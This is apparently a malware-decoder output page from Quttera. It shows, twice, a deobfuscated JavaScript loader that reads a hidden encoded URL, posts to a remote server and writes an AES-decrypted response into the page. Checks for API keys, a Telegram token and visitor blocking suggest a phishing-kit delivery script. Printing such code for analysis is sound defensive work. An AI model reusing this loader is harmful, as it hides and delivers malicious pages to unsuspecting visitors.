Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

var vec86117b= document.createElement('script');
var autograb = 0;
vec86117b.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));
document.head.append(vec86117b);

var v43507fdd= document.createElement('script');
v43507fdd.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(v43507fdd);

vec86117b.onload=function(){
$.support.cors = true
var v356dbf90 = atob;
var v2700240d252d = "".split;
var va0928457 = [].constructor.constructor(v356dbf90("cmV0dXJuIENyeXB0b0pT"));
var v2fd4178f = v356dbf90($('#b64u').val());
$.post(v2fd4178f,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '')
	.done(function(vbc63fd28a22780fdaee){
	function vebe3dd04(f){
			var O00O1II = v2700240d252d.apply(v356dbf90(f),[*]);
			var O000111 = {
				OO0O1II: O00O1II[0],
				OO0OII1: O00O1II[2],
				OOOOII1 : O00O1II[1],
				OO0OIII: O00O1II[3],
			} 
			var OOOOIII = va0928457().PBKDF2(O000111.OO0OIII, va0928457().enc.Hex.parse(O000111.OO0OII1), { hasher: va0928457().algo.SHA512, keySize: 64/8, iterations: 999});
			var O00O111 = va0928457().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: va0928457().enc.Hex.parse(O000111.OOOOII1)});
			return O00O111.toString(va0928457().enc.Utf8);
	}
     if(vbc63fd28a22780fdaee=='no'){
	   document.write('<h1>Please Get an api key to use this page</h1>')
	 }
	 else if(vbc63fd28a22780fdaee == "outdated"){
		 document.write('<h1>Please get an updated  version of the page</h1>')
	 }
	 else if(vbc63fd28a22780fdaee == 'token'){
		 document.write('Your telegram token not activated')
	 }
	 else if(/\{\"block\"\:/.test(vbc63fd28a22780fdaee)){
		 bad_res = JSON.parse(vbc63fd28a22780fdaee);
		 if(bad_res.block){
			 document.write('<h1>You were not allowed, because of ' + bad_res.block + '</h1>')
		 }
	 }
	 else{
		 try{
			 document.write(v356dbf90(vebe3dd04(vbc63fd28a22780fdaee)));
		 }catch(e){
			 document.write('<h1>Cannot write to page</h1>')
		 }
	 }
	})
	.fail(function(cd,pg){
		document.write("<h1>Unable to connect , Server not found</h1>")
	})
}

var vec86117b= document.createElement('script');
var autograb = 0;
vec86117b.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));
document.head.append(vec86117b);

var v43507fdd= document.createElement('script');
v43507fdd.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(v43507fdd);

vec86117b.onload=function(){
$.support.cors = true
var v356dbf90 = atob;
var v2700240d252d = "".split;
var va0928457 = [].constructor.constructor(v356dbf90("cmV0dXJuIENyeXB0b0pT"));
var v2fd4178f = v356dbf90($('#b64u').val());
$.post(v2fd4178f,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '')
	.done(function(vbc63fd28a22780fdaee){
	function vebe3dd04(f){
			var O00O1II = v2700240d252d.apply(v356dbf90(f),[*]);
			var O000111 = {
				OO0O1II: O00O1II[0],
				OO0OII1: O00O1II[2],
				OOOOII1 : O00O1II[1],
				OO0OIII: O00O1II[3],
			} 
			var OOOOIII = va0928457().PBKDF2(O000111.OO0OIII, va0928457().enc.Hex.parse(O000111.OO0OII1), { hasher: va0928457().algo.SHA512, keySize: 64/8, iterations: 999});
			var O00O111 = va0928457().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: va0928457().enc.Hex.parse(O000111.OOOOII1)});
			return O00O111.toString(va0928457().enc.Utf8);
	}
     if(vbc63fd28a22780fdaee=='no'){
	   <h1>Please Get an api key to use this page</h1>
	 }
	 else if(vbc63fd28a22780fdaee == "outdated"){
		 <h1>Please get an updated  version of the page</h1>
	 }
	 else if(vbc63fd28a22780fdaee == 'token'){
		 Your telegram token not activated
	 }
	 else if(/\{\"block\"\:/.test(vbc63fd28a22780fdaee)){
		 bad_res = JSON.parse(vbc63fd28a22780fdaee);
		 if(bad_res.block){
			 '<h1>You were not allowed, because of ' + bad_res.block + '</h1>'
		 }
	 }
	 else{
		 try{
			 v356dbf90(vebe3dd04(vbc63fd28a22780fdaee))
		 }catch(e){
			 <h1>Cannot write to page</h1>
		 }
	 }
	})
	.fail(function(cd,pg){
		<h1>Unable to connect , Server not found</h1>
	})
}



© 2023 Quttera Ltd. All rights reserved.